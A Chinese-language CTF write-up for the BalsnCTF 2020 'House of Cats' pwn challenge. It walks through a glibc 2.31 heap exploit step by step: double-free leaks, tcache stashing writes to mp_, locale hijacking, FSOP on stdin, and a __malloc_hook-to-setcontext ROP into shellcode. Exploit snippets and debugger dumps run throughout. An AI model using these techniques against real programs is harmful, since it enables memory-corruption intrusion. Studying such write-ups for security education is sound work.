Homura's Blog TECHNICAL JOURNAL

2026.10.18

[补坑]BalsnCTF-2020-House_of_Cats-WriteUp

BalsnCTF 2020 House_of_Cats WriteUp


0. House_of_Cats

这道题是Balsn CTF 2020的一道0解题,是我当时拼尽全力也无法找到突破口的一道题,并且至少在比赛结束一年后,作者已经给出提示的情况下,网上仍然没有公开WriteUp。

原题在这里,目前作者已给出官方题解。

以下WriteUp均以当时的环境进行说明,现在复现时可能会遇到的问题是glibc 2.31已经更新了多个小版本,和当时的2.31-0ubuntu7可能会有少许差别;新版本内核地址随机化位数更多,libc地址最高字节不再是0x7f,也需要进行调整。

1. glibc 2.31

该题环境为ubuntu 20.04, 对应glibc版本2.31-0ubuntu7,由于年代久远,先回顾一下相关的堆管理机制。

  • tcache从glibc 2.26版开始引入,CTF中主要从ubuntu 18.04使用的glibc 2.27版本开始出现大量tcache相关赛题,最早期的tcache几乎没有任何检查,可以随意分配释放,相较之前fastbin(不可连续释放同一块,分配时会检查size位)要好利用得多。

  • malloc会从tcache中分配,但是calloc不会。

  • tcache在glibc 2.29前的后续各个版本中(包括2.27新的小版本)陆续加入了各种安全检查,主要是在释放时增加了链表检查,无法再直接double free,但是如果key被修改,则会跳过链表检查,继续free;另外链表检查时不会检查其他类型(如fastbin,unsortedbin等)的链表, 所以如果释放一个在fastbin中的堆块时,对应的tcache没有满,则会直接释放到tcache中,除此之外,触发tcache Stashing时,也不会进行链表检查。

  • glibc 2.30/2.31 移除了tcache释放时的一个断言:assert (tc_idx < TCACHE_MAX_BINS);此为该题解题的一个重点。

2. 题目概览

一个非常典型的菜单题:

🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈
🐈       House of Cats      🐈
🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈
🐈   1. Rescue Leopard cat  🐈
🐈   2. Show Leopard cat    🐈
🐈   3. Release Leopard cat 🐈
🐈   4. Exit                🐈
🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈  🐈
choice : 

分别对应分配,打印,释放的功能,但cat_list只有两个空位。 有seccomp,one gadget肯定不行,只能走open-read-write。

3. 漏洞点

该题难点在于利用,漏洞点非常明显,在删除功能中,没有检查inuse,没有清空cat_list中的指针,可以double free。

unsigned __int64 dele()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  output("Cat index : ");
  v1 = 0;
  __isoc99_scanf("%x", &v1);
  if ( v1 <= 1 )
  {
    free(cat_list[v1]);
    inuse[v1] = 0;
  }
  else
  {
    puts("Cat doesn't exist");
  }
  return v2 - __readfsqword(0x28u);
}

但打印功能会检查inuse,无法直接打印被释放堆块中的内容。

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  output("Cat index : ");
  v1 = 0;
  __isoc99_scanf("%x", &v1);
  if ( v1 <= 1 && inuse[v1] )
  {
    output(byte_21EC);
    sub_13E6(*(_DWORD *)cat_list[v1]);
    output(asc_21F9);
    output((const char *)cat_list[v1] + 4);
    output("\n");
  }
  else
  {
    puts("Cat doesn't exist");
  }
  return v2 - __readfsqword(0x28u);
}

4. 泄漏堆地址

由于本题使用calloc分配,所以可以反复 create+delete 同尺寸填满 tcache(7 个),之后的 free 进入 fastbin

free(A)#0; free(B)#1; calloc→B#0; 此时B重新分配会#0处,但#1处指针不清; free(B)#1 把刚刚分配在#0处的释放掉,此时可以show(#0)泄漏出fastbin的fd,即可得到堆地址,但要注意ID部分会将hex数据转成整数输出。

for i in range(3):  create(0x18,'M30W'); delete(0)     # d0..d2 -> tcache[0]  (0x20)
for i in range(7):  create(0x28,'M30W'); delete(0)     # c0..c6 -> tcache[1]  (0x30)
create(0x28)  #0                                        # A
create(0x28)  #1                                        # B
delete(1); delete(0)                                    # fastbin[1] = A->B
create(0x38)  #0                                        # G (0x40, 守护块)
for i in range(7): create(0x38); delete(1)              # tcache[2] 填满 (0x40)
delete(0)                                               # G -> fastbin[2]
create(0x28)  #0   # 从 fastbin 取回 A
create(0x28)  #1'  # 取回 B
delete(0); delete(1)                                    # fastbin[1] = A->B
create(0x28)  #0   # 取回 B  -> slot0=B(存活), slot1=B(悬空) ★ dup
delete(1)      # 用悬空指针 free B -> fastbin[1] = B->A(fasttop 只查表头 A≠B,通过)
show(0)        # ID=B.fd低32位(A), Name=B.fd高32位 -> heap

5. 泄漏libc地址

一般菜单题泄漏堆都是靠大块(unsorted bin/large bin)上fd,bk指向的arena地址来泄漏libc地址,但本题限制了分配大小最大为0x38, 所以无法直接靠题目本身的功能直接分配一个大块来泄漏libc地址。

所以需要借助malloc_consolidate机制,其用于将 fastbin 中的空闲堆块进行合并,并放入unsorted bin中,常见的触发方式有:

  • 申请 Large Bin 大小的内存时:向 malloc() 请求较大尺寸的内存,且无法直接从 fastbin 或 smallbin 中满足时。
  • Top Chunk 空间不足:当前 top chunk 的剩余空间无法满足当前的分配请求,系统需要整理碎片。
  • 调用 malloc_trim() 时:尝试将堆内存返还给操作系统内核前,会先进行碎片整理。

这里题目输入用到的是scanf,所以可以通过给scanf输入长数据,让scanf分配 ≥ MIN_LARGE_SIZE(0x400)的堆块,来触发malloc_consolidate。 这里选择在输入choice时,输入0x400个”0”触发,几乎没有什么副作用。

我们先在堆上构造出相邻的两个空闲堆块,并且按之前的方式让cat_list中两个指针都指向同一个,且一个处于inuse状态:

cat_list/inuse:

pwndbg> x/20gx 0x55d40189e000+0x4100
0x55d4018a2100:	0x000055d413827480	0x000055d413827480
0x55d4018a2110:	0x0000000100000000	0x0000000000000000
0x55d4018a2120:	0x0000000000000000	0x0000000000000000

bins:

tcachebins
0x20 [  3]: 0x55d4138272e0 —▸ 0x55d4138272c0 —▸ 0x55d4138272a0 ◂— 0x0
0x30 [  7]: 0x55d413827420 —▸ 0x55d4138273f0 —▸ 0x55d4138273c0 —▸ 0x55d413827390 —▸ 0x55d413827360 —▸ 0x55d413827330 —▸ 0x55d413827300 ◂— 0x0
0x40 [  7]: 0x55d413827670 —▸ 0x55d413827630 —▸ 0x55d4138275f0 —▸ 0x55d4138275b0 —▸ 0x55d413827570 —▸ 0x55d413827530 —▸ 0x55d4138274f0 ◂— 0x0
fastbins
0x30: 0x55d413827470 —▸ 0x55d413827440 ◂— 0x0
0x40: 0x55d4138274a0 ◂— 0x0
unsortedbin
empty
smallbins
empty
largebins
empty

通过sendlineafter('choice : ','0'*0x400)触发malloc_consolidate后: bins:

tcachebins
0x20 [  3]: 0x55d4138272e0 —▸ 0x55d4138272c0 —▸ 0x55d4138272a0 ◂— 0x0
0x30 [  7]: 0x55d413827420 —▸ 0x55d4138273f0 —▸ 0x55d4138273c0 —▸ 0x55d413827390 —▸ 0x55d413827360 —▸ 0x55d413827330 —▸ 0x55d413827300 ◂— 0x0
0x40 [  7]: 0x55d413827670 —▸ 0x55d413827630 —▸ 0x55d4138275f0 —▸ 0x55d4138275b0 —▸ 0x55d413827570 —▸ 0x55d413827530 —▸ 0x55d4138274f0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0xa0: 0x55d413827440 —▸ 0x7f19318bac70 (main_arena+240) ◂— 0x55d413827440
largebins
empty

此时,0x000055d413827480处被写入了areana地址,从而计算出libc基地址:

pwndbg> p/x &main_arena 
$1 = 0x7f19318bab80
pwndbg> x/100gx 0x000055d413827440
0x55d413827440:	0x0000000000000000	0x00000000000000a1
0x55d413827450:	0x00007f19318bac70	0x00007f19318bac70
0x55d413827460:	0x0000000000000000	0x0000000000000000
0x55d413827470:	0x0000000000000000	0x0000000000000031
0x55d413827480:	0x00007f19318babe0	0x00007f19318babe0
0x55d413827490:	0x0000000000000000	0x0000000000000000
0x55d4138274a0:	0x0000000000000060	0x0000000000000040
0x55d4138274b0:	0x0000000000000000	0x0000000000000000
0x55d4138274c0:	0x0000000000000000	0x0000000000000000
0x55d4138274d0:	0x0000000000000000	0x0000000000000000
0x55d4138274e0:	0x00000000000000a0	0x0000000000000040
0x55d4138274f0:	0x0000000000000000	0x000055d413827010
0x55d413827500:	0x0000000000000000	0x0000000000000000
0x55d413827510:	0x0000000000000000	0x0000000000000000
0x55d413827520:	0x0000000000000000	0x0000000000000041

6. 修改 mp_.tcache_count

这里通过一系列堆风水,使得原先在cat_list上的指针(0x000055d413827480)落在合并后0xa0大小的unsorted bin内部,然后我们可以从unsorted bin中切割分配,

得到一个分配在0x55d413827470处的块,使cats_list上两个块发生重叠,于是可以通过一个块修改掉另一个块的堆头,fd/bk指针,修改其size和key等重要结构。

但是现在有个问题,由于本题限制了分配大小,可用的tcache数量不多,而且又是通过calloc分配,无法取回已经释放到tcache的堆块,而我们刚刚为了泄漏libc地址,几乎把所有能用的tcache填满了,失去了tcache后,很难继续完成利用。

所以现在要修改mp_.tcache_count来扩大tcache数量,使tcache”复活”。

这一步通过前面提到过的tcache Stashing机制完成,将small bin中的空闲堆块插入到tcache中,还是借助scanf中的分配来触发。


while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
	//tc_victim为链表中最后一个空闲块
    bck = tc_victim->bk;      // ← 伪造 chunk 的 bk 完全可控,且无完整性检查
    bin->bk = bck;
    bck->fd = bin;            // ★ 任意地址写入 libc 指针(stash unlink attack)
    tcache_put(tc_victim, tc_idx);  // ★ e->next=旧链头(受控堆指针) 写到 F+0x10
}

由此可以实现两类任意写:

  • bck->fd = bin:把 smallbin 头地址写进任意 libc 地址
  • tcache_put(fake):把受控堆指针写进任意地址(F+0x10),同时 F+0x18=&tcache

但要首先需要先控制small bin中的指针。

利用现在已经构造出来的overlap状态,通过修改堆头size为,破坏tcache key,然后重复释放的方式,获得一个可控的unsorted bin中的堆块

    for i in range(TCACHE_COUNT-4-1):
        create(0x38,p32(0)+p64(0x21))   #0
        delete(1)
        delete(0)
    for i in range(TCACHE_COUNT+1):
        create(0x38,p32(0)+p64(0xf1)) #0
        delete(1)
        delete(0)

堆布局大致如下:

pwndbg> bins
tcachebins
0x20 [  6]: 0x55c0ad2a3480 —▸ 0x55c0ad2a34a0 ◂— 0x0
0x30 [  7]: 0x55c0ad2a3420 —▸ 0x55c0ad2a33f0 —▸ 0x55c0ad2a33c0 —▸ 0x55c0ad2a3390 —▸ 0x55c0ad2a3360 —▸ 0x55c0ad2a3330 —▸ 0x55c0ad2a3300 ◂— 0x0
0x40 [  7]: 0x55c0ad2a3670 —▸ 0x55c0ad2a3630 —▸ 0x55c0ad2a35f0 —▸ 0x55c0ad2a35b0 —▸ 0x55c0ad2a3570 —▸ 0x55c0ad2a3530 —▸ 0x55c0ad2a34f0 ◂— 0x0
0xf0 [  7]: 0x55c0ad2a3480 —▸ 0x55c0ad2a34a0 ◂— 0x0
fastbins
0x40: 0x55c0ad2a3460 ◂— 0x0
unsortedbin
all: 0x55c0ad2a3470 —▸ 0x55c0ad2a34a0 —▸ 0x7f0d716fabe0 (main_arena+96) ◂— 0x55c0ad2a3470
smallbins
empty
largebins
empty

然后,我们就通过从fastbins中分配出来0x55c0ad2a3460去修改unsortedbin中的0x55c0ad2a3470.

将其size修改为0x20后,下一次触发malloc_consolidate则会将其搬到0x20的small bin中.

create(0x38,p32(0)+p64(0x21)+p64(heap_addr+0x4a0)+p64(libc_base+unsorted_bin_offset)+p64(0x20)+p64(0x20)) #0
scanf_consolidate()

堆布局大致如下:

pwndbg> bins
tcachebins
0x20 [  6]: 0x559730b86480 —▸ 0x7f79f79a2bf0 (main_arena+112) —▸ 0x7f79f79a2be0 (main_arena+96) —▸ 0x559730b866a0 ◂— 0x0
0x30 [  7]: 0x559730b86420 —▸ 0x559730b863f0 —▸ 0x559730b863c0 —▸ 0x559730b86390 —▸ 0x559730b86360 —▸ 0x559730b86330 —▸ 0x559730b86300 ◂— 0x0
0x40 [  7]: 0x559730b86670 —▸ 0x559730b86630 —▸ 0x559730b865f0 —▸ 0x559730b865b0 —▸ 0x559730b86570 —▸ 0x559730b86530 —▸ 0x559730b864f0 ◂— 0x0
0xf0 [  7]: 0x559730b86480 —▸ 0x7f79f79a2bf0 (main_arena+112) —▸ 0x7f79f79a2be0 (main_arena+96) —▸ 0x559730b866a0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0x20: 0x559730b86470 —▸ 0x7f79f79a2bf0 (main_arena+112) ◂— 0x559730b86470
0x40: 0x559730b864a0 —▸ 0x7f79f79a2c10 (main_arena+144) ◂— 0x559730b864a0
largebins
empty

通过再次分配修改,使得smallbin上的bk指向mp_.tcache_count-0x5:

pwndbg> bins
tcachebins
0x20 [  6]: 0x55b6a2954480 ◂— 0x0
0x30 [  7]: 0x55b6a2954420 —▸ 0x55b6a29543f0 —▸ 0x55b6a29543c0 —▸ 0x55b6a2954390 —▸ 0x55b6a2954360 —▸ 0x55b6a2954330 —▸ 0x55b6a2954300 ◂— 0x0
0x40 [  7]: 0x55b6a2954670 —▸ 0x55b6a2954630 —▸ 0x55b6a29545f0 —▸ 0x55b6a29545b0 —▸ 0x55b6a2954570 —▸ 0x55b6a2954530 —▸ 0x55b6a29544f0 ◂— 0x0
0xf0 [  7]: 0x55b6a2954480 ◂— 0x0
fastbins
0x30: 0x55b6a2954470 ◂— 0x0
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x55b6a2954470 ◂— 0x0
BK: 0x55b6a2954470 —▸ 0x55b6a29544c0 —▸ 0x7f5119be52cb (mp_+75) ◂— 0x0
largebins
empty

pwndbg> p/x &mp_.tcache_count
$2 = 0x7f5119be52e0

下次分配0x20 small bin时,则会将arena地址写入mp_.tcache_count-0x5,于是mp_.tcache_count被改写为0x7f,可以继续使用tcache了。

pwndbg> bins
tcachebins
0x20 [  7]: 0x563e8540e4d0 —▸ 0x563e8540e480 ◂— 0x5730334d21c2a105
0x30 [  7]: 0x563e8540e420 —▸ 0x563e8540e3f0 —▸ 0x563e8540e3c0 —▸ 0x563e8540e390 —▸ 0x563e8540e360 —▸ 0x563e8540e330 —▸ 0x563e8540e300 ◂— 0x0
0x40 [  7]: 0x563e8540e670 —▸ 0x563e8540e630 —▸ 0x563e8540e5f0 —▸ 0x563e8540e5b0 —▸ 0x563e8540e570 —▸ 0x563e8540e530 —▸ 0x563e8540e4f0 ◂— 0x0
0xf0 [  7]: 0x563e8540e480 ◂— 0x5730334d21c2a105
fastbins
0x30: 0x563e8540e470 ◂— 0x5730334d21c2a105
0x40: 0x563e8540e4a0 ◂— 0x0
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x563e8540e470 ◂— 0x5730334d21c2a105
BK: 0x7f58fc97f2cb (mp_+75) ◂— 0x0
largebins
empty
pwndbg> x/10gx &mp_.tcache_count
0x7f58fc97f2e0 <mp_+96>:	0x000000000000007f	0x0000000000000000
0x7f58fc97f2f0 <obstack_exit_failure>:	0x0000000000000001	0x0000000000780000
0x7f58fc97f300 <__x86_raw_shared_cache_size_half>:	0x00000000003c0000	0x0000000000780000
0x7f58fc97f310 <__x86_shared_cache_size_half>:	0x00000000003c0000	0x000000000000c000
0x7f58fc97f320 <__x86_raw_data_cache_size_half>:	0x0000000000006000	0x000000000000c000
pwndbg> x/20gx 0x7f58fc97f2cb
0x7f58fc97f2cb <mp_+75>:	0x0000400000563e85	0x0004080000000000
0x7f58fc97f2db <mp_+91>:	0x00007f58fc97fbf0	0x0000000000000000
0x7f58fc97f2eb <mp_+107>:	0x0000010000000000	0x7800000000000000

7. locale / __ctype_b 劫持(让 scanf 可以读任意字节)

__vfscanf_internal 通过 __libc_tsd_LOCALE(TLS fs-0x90)取 locale:

curctype      = loc[0]
curnumeric    = loc[1]        -> decimal = curnumeric[8], thousands = curnumeric[9]
__ctype_b     = loc[13]       ← 关键:字符分类表指针
__ctype_tolower = loc[14]

按照之前的方法一通堆风水后,将_nl_global_locale放入fastbins中:

pwndbg> bins
tcachebins
0x20 [125]: 0x562acb639480 ◂— 0x0
0x30 [125]: 0x562acb639480 ◂— 0x0
0x40 [127]: 0x562acb63b430 —▸ 0x562acb63b3f0 —▸ 0x562acb63b3b0 —▸ 0x562acb63b370 —▸ 0x562acb63b330 —▸ 0x562acb63b2f0 —▸ 0x562acb63b2b0 —▸ 0x562acb63b270 ◂— ...
0x50 [127]: 0x562acb639480 ◂— 0x0
0xa0 [27536]: 0x0
0xb0 [7662]: 0x0
0xc0 [32596]: 0x0
0xe0 [36880]: 0x0
0xf0 [52067]: 0x562acb639480 ◂— 0x0
0x100 [22058]: 0x0
0x130 [127]: 0x562acb639480 ◂— 0x0
fastbins
0x20: 0x562acb639490 —▸ 0x562acb63b3f0 —▸ 0x7f541dee74f8 (_nl_global_locale+88) —▸ 0x7f541de9a3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2002200220030002
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x562acb639470 ◂— 0x0
BK: 0x7f541dee62cb (mp_+75) ◂— 0x0
largebins
empty

然后就可以将__ctype_b指向受控堆地址:

pwndbg> x/30gx &_nl_global_locale
0x7f541dee74a0 <_nl_global_locale>:	0x00007f541dee36c0	0x00007f541dee3c00
0x7f541dee74b0 <_nl_global_locale+16>:	0x00007f541dee3c80	0x00007f541dee4500
0x7f541dee74c0 <_nl_global_locale+32>:	0x00007f541dee3a40	0x00007f541dee39c0
0x7f541dee74d0 <_nl_global_locale+48>:	0x0000000000000000	0x00007f541dee41c0
0x7f541dee74e0 <_nl_global_locale+64>:	0x00007f541dee4220	0x00007f541dee42a0
0x7f541dee74f0 <_nl_global_locale+80>:	0x00007f541dee4360	0x00007f541dee43e0
0x7f541dee7500 <_nl_global_locale+96>:	0x00007f541dee4440	0x0000562acb63b400
0x7f541dee7510 <_nl_global_locale+112>:	0x0000562acb639010	0x00007f541de99ac0

pwndbg> x/20gx 0x0000562acb63b400
0x562acb63b400:	0x0000562acb639480	0x0000562acb639010
0x562acb63b410:	0x1000200010001000	0x1000100010001000
0x562acb63b420:	0x1000100010001000	0x0000000000000041
0x562acb63b430:	0x0000562acb63b3f0	0x0000562acb639010
0x562acb63b440:	0x1000100010001000	0x1000100010001000
0x562acb63b450:	0x1000100010001000	0x1000100010001000
0x562acb63b460:	0x1000100010001000	0x000000000001eba1
0x562acb63b470:	0x0000000000000000	0x0000000000000000
0x562acb63b480:	0x0000000000000000	0x0000000000000000
0x562acb63b490:	0x0000000000000000	0x0000000000000000


  • \x00\x10 = 0x1000 = ISXDIGIT
  • \x00\x20 = 0x2000 = ISPACE(\n 保持可终止)

8. 改 tcache_bins, 使得scanf的大分配走tcache

又是一通堆风水后,和之前改mp_.tcache_count一样, 使smallbin上的bk指向mp_.tcache_bins-0x10,直接将mp_.tcache_bins改为一个指针,这样基本上不管malloc多大,都会从tcache分配。

pwndbg> bins
tcachebins
0x20 [127]: 0x7ff7520cf508 (_nl_global_locale+104) —▸ 0x55ddde39c400 —▸ 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x30 [125]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x40 [127]: 0x55ddde39c430 —▸ 0x55ddde39c3f0 —▸ 0x55ddde39c3b0 —▸ 0x55ddde39c370 —▸ 0x55ddde39c330 —▸ 0x55ddde39c2f0 —▸ 0x55ddde39c2b0 —▸ 0x55ddde39c270 ◂— ...
0x50 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0xa0 [60304]: 0x0
0xb0 [21004]: 0x0
0xc0 [32759]: 0x0
0xe0 [40976]: 0x0
0xf0 [56889]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x100 [21981]: 0x0
0x130 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x170 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x55ddde39a470 —▸ 0x55ddde39a4b0 —▸ 0x7ff7520cec00 (main_arena+128) ◂— 0x55ddde39a470
BK: 0x7ff7520ce2cb (mp_+75) ◂— 0x0
0x30 [corrupted]
FD: 0x55ddde39a470 —▸ 0x55ddde39a4b0 —▸ 0x7ff7520cec00 (main_arena+128) ◂— 0x55ddde39a470
BK: 0x55ddde39a4b0 —▸ 0x55ddde39a470 —▸ 0x55ddde39a480 —▸ 0x7ff7520ce2c0 (mp_+64) ◂— 0xf7520cebf0000408
largebins
empty

tcache Stashing触发后:

pwndbg> x/10gx &mp_.tcache_bins
0x7ff7520ce2d0 <mp_+80>:	0x00007ff7520cec00	0xf7520cebf0000408
0x7ff7520ce2e0 <mp_+96>:	0x000000000000007f	0x0000000000000000

同时,由于tcache管理块(tcache_perthread_struct)就在堆上,一般这种pwn题就在第一块分配的堆之前:

在下面这次heap中,0x55ddde39a000处0x290大小的块就是tcache_perthread_struct,下面0x55ddde39a290开始就都是我们自己的堆风水了。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2d0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2f0
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a320
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a350
Size: 0x30 (with flag bits: 0x31)


typedef struct tcache_perthread_struct {
    uint16_t counts[TCACHE_MAX_BINS];     // 每个 bin 中当前缓存的 chunk 数量
    tcache_entry *entries[TCACHE_MAX_BINS]; // 指向 64 个不同大小 bin 链表头部的指针数组
} tcache_perthread_struct;

现在回到一开始提到的glibc 2.30移除的一处断言:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
    tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
    
    //glibc 2.30 移除
    //assert (tc_idx < TCACHE_MAX_BINS);

    /* Mark this chunk as "in the tcache" so the test in _int_free will
       detect a double free.  */
    e->key = tcache;

    e->next = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}

移除这处断言后,导致即使tc_idx > TCACHE_MAX_BINS,仍然可以越界写到entries[127](0x810 chunk).

entries[127] 的地址 = heap + 0x10 + 0x80 + 127*8 = heap+0x488 可以通过堆风水,落在我们可控的堆块中。

9. 最终 payload —— FSOP + setcontext + ROP + shellcode

写entries[127]到stdin.bufbase:

create(0x37,p32(0)+p64(0)+p64(0)+p64(libc_base+stdin_bufbase_offset+1-0x400))

后续scanf长输入(>1024 字符)触发 malloc(0x800)(0x810, idx127)→ 分配到stdin_bufbase+1-0x400:

__GI___libc_scratch_buffer_grow_preserve (buffer=buffer@entry=0x7fff2a3ae6d0) at scratch_buffer_grow_preserve.c:38
38	scratch_buffer_grow_preserve.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
 RAX  0x7fc0cfc6c5b9 (builtin_modules+377) ◂— 0x0
 RBX  0x7fff2a3ae6d0 —▸ 0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
 RCX  0x5627f8fc910e ◂— 0x0
 RDX  0x0
 RDI  0x800
 RSI  0x0
 R8   0x7fc0cfc6c5b9 (builtin_modules+377) ◂— 0x0
 R9   0x7fc0cfc6c240 (pa_next_type) ◂— 0x8
 R10  0xc9
 R11  0x246
 R12  0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
 R13  0x400
 R14  0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
 R15  0x402
 RBP  0x800
*RSP  0x7fff2a3ae3f0 ◂— 0x400
*RIP  0x7fc0cfb22be0 (__libc_scratch_buffer_grow_preserve+96) ◂— test rax, rax
───────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
   0x7fc0cfb1e306 <malloc+166>                                 pop    rbx
   0x7fc0cfb1e307 <malloc+167>                                 mov    rax, r8
   0x7fc0cfb1e30a <malloc+170>                                 pop    rbp
   0x7fc0cfb1e30b <malloc+171>                                 pop    r12
   0x7fc0cfb1e30d <malloc+173>                                 ret    
    ↓
 ► 0x7fc0cfb22be0 <__libc_scratch_buffer_grow_preserve+96>     test   rax, rax
   0x7fc0cfb22be3 <__libc_scratch_buffer_grow_preserve+99>     je     __libc_scratch_buffer_grow_preserve+173                <__libc_scratch_buffer_grow_preserve+173>
 
   0x7fc0cfb22be5 <__libc_scratch_buffer_grow_preserve+101>    mov    rdx, r13
   0x7fc0cfb22be8 <__libc_scratch_buffer_grow_preserve+104>    mov    rsi, r12
   0x7fc0cfb22beb <__libc_scratch_buffer_grow_preserve+107>    mov    rdi, rax
   0x7fc0cfb22bee <__libc_scratch_buffer_grow_preserve+110>    call   *ABS*+0xa3ad0@plt                <*ABS*+0xa3ad0@plt>
────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff2a3ae3f0 ◂— 0x400
01:0008│     0x7fff2a3ae3f8 —▸ 0x7fff2a3aeb30 —▸ 0x7fff2a3aec30 —▸ 0x7fff2a3aec50 ◂— 0x0
02:0010│     0x7fff2a3ae400 ◂— 0xffffffff
03:0018│     0x7fff2a3ae408 —▸ 0x7fc0cfc6c980 (_IO_2_1_stdin_) ◂— 0xfbad208b
04:0020│     0x7fff2a3ae410 ◂— 0xc9
05:0028│     0x7fff2a3ae418 —▸ 0x7fc0cfae9094 (__vfscanf_internal+5396) ◂— movzx r10d, byte ptr [rbp - 0x630]
06:0030│     0x7fff2a3ae420 ◂— 0xfffe5475c7600000
07:0038│     0x7fff2a3ae428 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────
 ► 0   0x7fc0cfb22be0 __libc_scratch_buffer_grow_preserve+96
   1   0x7fc0cfae9094 __vfscanf_internal+5396
   2   0x7fc0cfae9094 __vfscanf_internal+5396
   3   0x7fc0cfae9094 __vfscanf_internal+5396
   4   0x7fc0cfae9094 __vfscanf_internal+5396
   5   0x7fc0cfae72e2 __isoc99_scanf+178
   6   0x5627c60665f4
   7   0x5627c6066978

pwndbg> p stdin
$1 = (FILE *) 0x7fc0cfc6c980 <_IO_2_1_stdin_>

pwndbg> p &__malloc_hook 
$21 = (void *(**)(size_t, const void *)) 0x7fc0cfc6cb70 <__malloc_hook>

最后:

  • 重写_IO_2_1_stdin_:flags=0xfbad2082、vtable=_IO_str_jumps-0x10(vtable 合法区间内偏移,绕过 vtable_check)
  • __malloc_hook 在 _IO_2_1_stdin_+0x1f0 处,可以一起改。
  • 走 _IO_str_overflow:其内部 malloc(2*(buf_end-buf_base)+100) 命中被 payload 改写的 __malloc_hook = setcontext+0x3d,此时 rdx = fp->_IO_write_ptr(指向伪造的 ucontext)
  • setcontext 恢复寄存器 → ROP:mprotect(libc页, 0x2000, RWX) → 跳入 shellcode
pwndbg> p __malloc_hook 
$22 = (void *(*)(size_t, const void *)) 0x7f324503a0dd <setcontext+61>

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
*RAX  0x7f324503a0dd (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
 RBX  0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
*RCX  0x0
*RDX  0x7f32451cd9c0 (_IO_2_1_stdin_+64) ◂— 0xe8000000
*RDI  0x64
*RSI  0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
 R8   0x0
*R9   0x7f32451cd240 (pa_next_type) ◂— 0x8
*R10  0xe8
 R11  0x246
*R12  0x0
*R13  0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
*R14  0xe8000000
*R15  0x64
*RBP  0x1e8
*RSP  0x7ffd6c13d918 —▸ 0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
*RIP  0x7f324503a0dd (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
───────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
 ► 0x7f324503a0dd <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]   <_IO_wide_data_0>
   0x7f324503a0e4 <setcontext+68>     mov    rbx, qword ptr [rdx + 0x80]
   0x7f324503a0eb <setcontext+75>     mov    rbp, qword ptr [rdx + 0x78]
   0x7f324503a0ef <setcontext+79>     mov    r12, qword ptr [rdx + 0x48]
   0x7f324503a0f3 <setcontext+83>     mov    r13, qword ptr [rdx + 0x50]
   0x7f324503a0f7 <setcontext+87>     mov    r14, qword ptr [rdx + 0x58]
   0x7f324503a0fb <setcontext+91>     mov    r15, qword ptr [rdx + 0x60]
   0x7f324503a0ff <setcontext+95>     test   dword ptr fs:[0x48], 2
   0x7f324503a10b <setcontext+107>    je     setcontext+294                <setcontext+294>
    ↓
   0x7f324503a1c6 <setcontext+294>    mov    rcx, qword ptr [rdx + 0xa8]
   0x7f324503a1cd <setcontext+301>    push   rcx
────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────
